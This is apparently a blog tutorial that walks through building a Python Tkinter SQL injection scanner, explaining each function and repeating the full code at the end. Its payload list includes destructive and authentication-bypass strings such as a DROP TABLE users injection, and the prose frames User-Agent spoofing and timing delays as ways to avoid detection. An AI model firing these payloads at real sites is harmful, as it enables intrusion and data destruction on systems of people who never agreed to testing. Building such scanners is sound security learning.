In the ever-evolving landscape of cybersecurity, understanding potential threats is crucial. Among these, SQL injections stand out as a notorious vulnerability that can expose sensitive data and compromise the security of a website. Imagine a seemingly harmless form on a website becoming a gateway for malicious attackers to wreak havoc on your database. Scary, right?
But don’t worry, we’ve got you covered! Today, we’ll dive into the world of SQL injection attacks and, more importantly, how you can protect your applications by building your very own SQL Injection Scanner using Python. Whether you’re a developer looking to safeguard your projects or just someone curious about ethical hacking and cybersecurity, this tutorial will guide you through creating a tool that not only scans for vulnerabilities but also provides you with a deeper understanding of how these attacks work.
So, grab a cup of coffee, and let’s start on this journey to make the web a safer place, one Python script at a time.
Table of Contents
- Disclaimer
- Necessary Libraries
- Imports
- Configuring Logging and Setting Up a Custom User-Agent Session
- SQL Injection Error Patterns and Payloads
- Form Extraction Function for Web Pages
- Detecting SQL Injection Vulnerabilities
- Submitting Forms with SQL Injection Payloads
- Main Function for Website SQL Injection Scanning
- Initiating the Scan in a Separate Thread
- Setting Up the Main Window
- Example
- Full Code
Disclaimer
Please note: This tool is for learning and ethical use only. Test only on sites you own or have permission to scan. Stay responsible and respect others’ security.
Necessary Libraries
To get this code working, make sure you install these libraries in your terminal or command prompt by running the following commands.
$ pip install tk
$ pip install requests
$ pip install beautifulsoup4
$ pip install urllib3
Imports
import tkinter as tk
from tkinter import messagebox, scrolledtext, ttk
import threading
import requests
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
import logging
import time
Let’s get our toolkit ready:
- First up,
tkinter
: This is our go-to for creating the graphical interface. Withmessagebox
, we can pop up messages, whilescrolledtext
andttk
help us add scrollable and themed widgets. - Next,
threading
: Ever had your window freeze while multitasking? This keeps things smooth by running tasks in the background. - Then,
requests
: This library is our ticket to making HTTP requests to web servers. Simple and powerful. BeautifulSoup
: We’ll need this to make sense of HTML and XML documents. It’s like our web content decoder.urljoin
: Perfect for combining base URLs with relative ones, making sure our links go exactly where we want.logging
: This is our diary, recording important messages either in the terminal or a file.- And finally,
time
: We’ll use this for all things related to time. Because sometimes, timing is everything.
Configuring Logging and Setting Up a Custom User-Agent Session
Every adventure needs a record keeper, and that’s what logging does for us. We set it up to capture every INFO-level message, including its severity and the exact time it occurred.
# Setup logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
logger = logging.getLogger(__name__)
When hunting for vulnerabilities, being stealthy is essential. If the target spots us, it’s game over. To stay undercover, we use requests.Session()
to interact with websites that require logins or consistent settings across multiple requests. Additionally, we set the User-Agent
header to make our requests look like they’re coming from a regular web browser, helping us avoid detection.
# Initialize a session with a custom User-Agent header
session = requests.Session()
session.headers["User-Agent"] = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/83.0.4103.106 Safari/537.36")
SQL Injection Error Patterns and Payloads
# SQL Injection error patterns
SQL_ERRORS = [
"you have an error in your sql syntax;", "warning: mysql",
"unclosed quotation mark after the character string",
"quoted string not properly terminated", "odbc microsoft access driver",
"syntax error"
]
# SQL Injection payloads
PAYLOADS = [
"'", '"', "' OR 1=1 --", '" OR 1=1 --', "' OR 'a'='a'", '" OR "a"="a"',
"'; DROP TABLE users; --", "' UNION SELECT NULL, version(); --",
"' AND 1=(SELECT COUNT(*) FROM information_schema.tables); --",
"' OR EXISTS(SELECT 1 FROM users WHERE username='admin'); --"
]
Here, we’ve set up the tripwire with SQL_ERRORS
to detect any SQL errors, which indicate a vulnerability. The payloads act like lockpicks, testing the website’s integrity. If a website triggers an SQL error, it means there’s a potential vulnerability that our payloads can exploit to further probe the site’s security.
Form Extraction Function for Web Pages
If the previous part was our undercover work, this is where the real reconnaissance begins. The fetch_forms()
function handles this by using the session to send a GET request to the given URL. If successful, it parses the HTML to find all forms. But if something goes wrong, it’s got our back by logging the error and safely returning an empty list, no surprises, just solid reconnaissance.
def fetch_forms(url):
"""Fetch and return all forms from the specified URL."""
try:
response = session.get(url)
response.raise_for_status()
return bs(response.content, "html.parser").find_all("form")
except requests.RequestException as e:
logger.error(f"Failed to retrieve forms from {url}: {e}")
return []
Detecting SQL Injection Vulnerabilities
We already talked about SQL_ERRORS
being the tripwire, but how do we know if a website has tripped it? That’s where the is_vulnerable()
function comes in. It checks the response to see if it contains any of the errors from our SQL_ERRORS
list. If it does, that’s a strong hint that the website might be vulnerable to SQL Injection.
def is_vulnerable(response):
"""Check if the response contains any SQL injection error patterns."""
return any(error in response.text.lower() for error in SQL_ERRORS)
Submitting Forms with SQL Injection Payloads
Now that we’ve gathered enough information, it’s time for infiltration, led by the submit_form()
function:
The function starts by finding all input elements, retrieving their names and values. If a value isn’t set, it defaults to an empty string. We then add the payload to these input fields, except for the submit buttons, as they don’t hold data.
form_data = {input_tag.get("name"): input_tag.get("value", "") + payload
if input_tag.get("type") != "submit" else ""
for input_tag in form.find_all("input")}
Next, the form’s action URL is combined with the base URL using urljoin
to create a complete URL.
action_url = urljoin(url, form.get("action", "").lower())
The function then determines whether to use GET or POST to submit the data based on the form’s method attribute.
method = form.get("method", "get").lower()
If the method is POST, the data is sent as part of the request body using session.post()
. If the method is GET, the data is sent as query parameters in the URL using session.get()
.
if method == "post":
return session.post(action_url, data=form_data)
return session.get(action_url, params=form_data)
When something goes wrong during the process, our function steps in by logging the error and returning None
, letting us know the form submission didn’t succeed. This way, we’re always kept informed if things don’t go as planned.
except requests.RequestException as e:
logger.error(f"Failed to submit form to {action_url}: {e}")
return None
Main Function for Website SQL Injection Scanning
The sql_injection_scanner()
function is the core of our script. It starts by fetching all forms from the specified URL using the fetch_forms()
function.
forms = fetch_forms(url)
It then calculates the total number of tests needed by considering each form and payload and sets a vulnerabilities_found
flag to track if any vulnerabilities are detected.
total_tests = 1 + len(forms) * len(PAYLOADS) # 1 for URL + tests for each form
test_count = 0
vulnerabilities_found = False
The function informs the user that scanning has begun via the output_text widget
.
output_text.insert(tk.END, f"Starting scan on {url}\n", "info")
It then starts testing the main URL by appending each payload to create a test URL and sends a GET request using session.get(test_url)
.
for payload in PAYLOADS:
test_url = f"{url}{payload}"
output_text.insert(tk.END, f"Testing URL: {test_url}\n", "info")
test_count += 1
progress_bar['value'] = (test_count / total_tests) * 100
The function checks for SQL injection error patterns in the response. If a vulnerability is found, the testing loop breaks, and a message is logged in the output_text widget
.
try:
response = session.get(test_url)
if is_vulnerable(response):
output_text.insert(tk.END, f"Vulnerability found in URL: {test_url}\n", "vulnerable")
vulnerabilities_found = True
break
except requests.RequestException as e:
output_text.insert(tk.END, f"Error testing URL {test_url}: {e}\n", "error")
continue
After testing the main URL, the function moves on to testing the forms. It iterates over each form, retrieves its action URL, and informs the user that form testing has begun.
for form in forms:
action = form.get("action", "").lower()
output_text.insert(tk.END, f"Testing form with action: {action}\n", "info")
Each form is then tested with the payloads using the submit_form()
function, and the progress bar is updated accordingly.
for payload in PAYLOADS:
response = submit_form(url, form, payload)
test_count += 1
progress_bar['value'] = (test_count / total_tests) * 100
The function uses is_vulnerable()
to check if the response contains any SQL injection error patterns. If a vulnerability is detected, it’s displayed in the output_text widget
, and the loop exits.
if response and is_vulnerable(response):
output_text.insert(tk.END, f"Vulnerability found in form: {action}\n", "vulnerable")
vulnerabilities_found = True
break
time.sleep(0.1) # Short delay to mimic human interaction
Finally, the function saves the scan results in a file named scan_results.txt
by writing the contents of the output_text widget
to it. It also informs the user that the results have been saved and resets the progress bar to 0 at the end of the scan.
summary = "Vulnerabilities were detected." if vulnerabilities_found else "No vulnerabilities detected."
output_text.insert(tk.END, f"{summary}\n", "summary")
with open("scan_results.txt", "w") as file:
file.write(output_text.get(1.0, tk.END))
output_text.insert(tk.END, "Scan results saved to scan_results.txt\n", "info")
progress_bar['value'] = 0 # Reset progress bar
Initiating the Scan in a Separate Thread
def start_scan():
url = url_entry.get().strip()
if not url:
messagebox.showerror("Error", "Please enter a valid URL.")
return
output_text.delete(1.0, tk.END)
threading.Thread(target=sql_injection_scanner, args=(url, output_text, progress_bar)).start()
Now, here’s where it all kicks off! The start_scan()
function begins by checking if you’ve entered a valid URL. If there’s no URL, it prompts you to enter one. But if a URL is provided, it cleans up any extra spaces using url_entry.get().strip()
. Then, it clears any old results from the output_text widget
. Finally, the function gets the scan underway by starting a new thread and running the sql_injection_scanner()
function, keeping everything smooth and responsive.
Setting Up the Main Window
This is where the magic happens! We start by setting up the main window using tk
and giving it a title that fits the job. Next up is the entry box where users can drop in the URL, paired with a clear label. Then comes the “Start Scan” button—the trigger for all the action.
We add a progress bar to keep track of how things are going. Plus, a scrollable text area to display the results.
# Initialize the Tkinter root window
root = tk.Tk()
root.title("SQL Injection Scanner - The Pycodes")
# URL Entry
tk.Label(root, text="Enter URL:").grid(row=0, column=0, padx=10, pady=10)
url_entry = tk.Entry(root, width=50)
url_entry.grid(row=0, column=1, padx=10, pady=10)
# Start Scan Button
scan_button = tk.Button(root, text="Start Scan", command=start_scan)
scan_button.grid(row=0, column=2, padx=10, pady=10)
# Progress Bar
progress_bar = ttk.Progressbar(root, orient='horizontal', mode='determinate', length=400)
progress_bar.grid(row=1, column=0, columnspan=3, padx=10, pady=10)
# Output Text Widget
output_text = scrolledtext.ScrolledText(root, wrap=tk.WORD, width=100, height=30)
output_text.grid(row=2, column=0, columnspan=3, padx=10, pady=10)
# Text Widget Tags for Formatting
output_text.tag_config("info", foreground="blue")
output_text.tag_config("vulnerable", foreground="red", font=("Helvetica", 12, "bold"))
output_text.tag_config("error", foreground="orange")
output_text.tag_config("summary", foreground="green", font=("Helvetica", 12, "bold"))
Finally, we kick things off with the main event loop, keeping everything smooth and responsive.
# Start the Tkinter main loop
root.mainloop()
Example
I executed this code on my Linux system:
Also on my friend’s Windows system as shown in the image below:
Full Code
import tkinter as tk
from tkinter import messagebox, scrolledtext, ttk
import threading
import requests
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
import logging
import time
# Setup logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
logger = logging.getLogger(__name__)
# Initialize a session with a custom User-Agent header
session = requests.Session()
session.headers["User-Agent"] = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/83.0.4103.106 Safari/537.36")
# SQL Injection error patterns
SQL_ERRORS = [
"you have an error in your sql syntax;", "warning: mysql",
"unclosed quotation mark after the character string",
"quoted string not properly terminated", "odbc microsoft access driver",
"syntax error"
]
# SQL Injection payloads
PAYLOADS = [
"'", '"', "' OR 1=1 --", '" OR 1=1 --', "' OR 'a'='a'", '" OR "a"="a"',
"'; DROP TABLE users; --", "' UNION SELECT NULL, version(); --",
"' AND 1=(SELECT COUNT(*) FROM information_schema.tables); --",
"' OR EXISTS(SELECT 1 FROM users WHERE username='admin'); --"
]
def fetch_forms(url):
"""Fetch and return all forms from the specified URL."""
try:
response = session.get(url)
response.raise_for_status()
return bs(response.content, "html.parser").find_all("form")
except requests.RequestException as e:
logger.error(f"Failed to retrieve forms from {url}: {e}")
return []
def is_vulnerable(response):
"""Check if the response contains any SQL injection error patterns."""
return any(error in response.text.lower() for error in SQL_ERRORS)
def submit_form(url, form, payload):
"""Submit a form with a specific SQL injection payload."""
form_data = {input_tag.get("name"): input_tag.get("value", "") + payload
if input_tag.get("type") != "submit" else ""
for input_tag in form.find_all("input")}
action_url = urljoin(url, form.get("action", "").lower())
method = form.get("method", "get").lower()
try:
if method == "post":
return session.post(action_url, data=form_data)
return session.get(action_url, params=form_data)
except requests.RequestException as e:
logger.error(f"Failed to submit form to {action_url}: {e}")
return None
def sql_injection_scanner(url, output_widget, progress_bar):
"""Scan the specified URL for SQL injection vulnerabilities."""
forms = fetch_forms(url)
total_tests = 1 + len(forms) * len(PAYLOADS) # 1 for URL + tests for each form
test_count = 0
vulnerabilities_found = False
output_text.insert(tk.END, f"Starting scan on {url}\n", "info")
# Test the URL itself with all payloads
for payload in PAYLOADS:
test_url = f"{url}{payload}"
output_text.insert(tk.END, f"Testing URL: {test_url}\n", "info")
test_count += 1
progress_bar['value'] = (test_count / total_tests) * 100
try:
response = session.get(test_url)
if is_vulnerable(response):
output_text.insert(tk.END, f"Vulnerability found in URL: {test_url}\n", "vulnerable")
vulnerabilities_found = True
break
except requests.RequestException as e:
output_text.insert(tk.END, f"Error testing URL {test_url}: {e}\n", "error")
continue
# Test forms on the webpage
for form in forms:
action = form.get("action", "").lower()
output_text.insert(tk.END, f"Testing form with action: {action}\n", "info")
for payload in PAYLOADS:
response = submit_form(url, form, payload)
test_count += 1
progress_bar['value'] = (test_count / total_tests) * 100
if response and is_vulnerable(response):
output_text.insert(tk.END, f"Vulnerability found in form: {action}\n", "vulnerable")
vulnerabilities_found = True
break
time.sleep(0.1) # Short delay to mimic human interaction
# Summary and Save Results
summary = "Vulnerabilities were detected." if vulnerabilities_found else "No vulnerabilities detected."
output_text.insert(tk.END, f"{summary}\n", "summary")
with open("scan_results.txt", "w") as file:
file.write(output_text.get(1.0, tk.END))
output_text.insert(tk.END, "Scan results saved to scan_results.txt\n", "info")
progress_bar['value'] = 0 # Reset progress bar
def start_scan():
url = url_entry.get().strip()
if not url:
messagebox.showerror("Error", "Please enter a valid URL.")
return
output_text.delete(1.0, tk.END)
threading.Thread(target=sql_injection_scanner, args=(url, output_text, progress_bar)).start()
# Initialize the Tkinter root window
root = tk.Tk()
root.title("SQL Injection Scanner - The Pycodes")
# URL Entry
tk.Label(root, text="Enter URL:").grid(row=0, column=0, padx=10, pady=10)
url_entry = tk.Entry(root, width=50)
url_entry.grid(row=0, column=1, padx=10, pady=10)
# Start Scan Button
scan_button = tk.Button(root, text="Start Scan", command=start_scan)
scan_button.grid(row=0, column=2, padx=10, pady=10)
# Progress Bar
progress_bar = ttk.Progressbar(root, orient='horizontal', mode='determinate', length=400)
progress_bar.grid(row=1, column=0, columnspan=3, padx=10, pady=10)
# Output Text Widget
output_text = scrolledtext.ScrolledText(root, wrap=tk.WORD, width=100, height=30)
output_text.grid(row=2, column=0, columnspan=3, padx=10, pady=10)
# Text Widget Tags for Formatting
output_text.tag_config("info", foreground="blue")
output_text.tag_config("vulnerable", foreground="red", font=("Helvetica", 12, "bold"))
output_text.tag_config("error", foreground="orange")
output_text.tag_config("summary", foreground="green", font=("Helvetica", 12, "bold"))
# Start the Tkinter main loop
root.mainloop()
Happy Coding!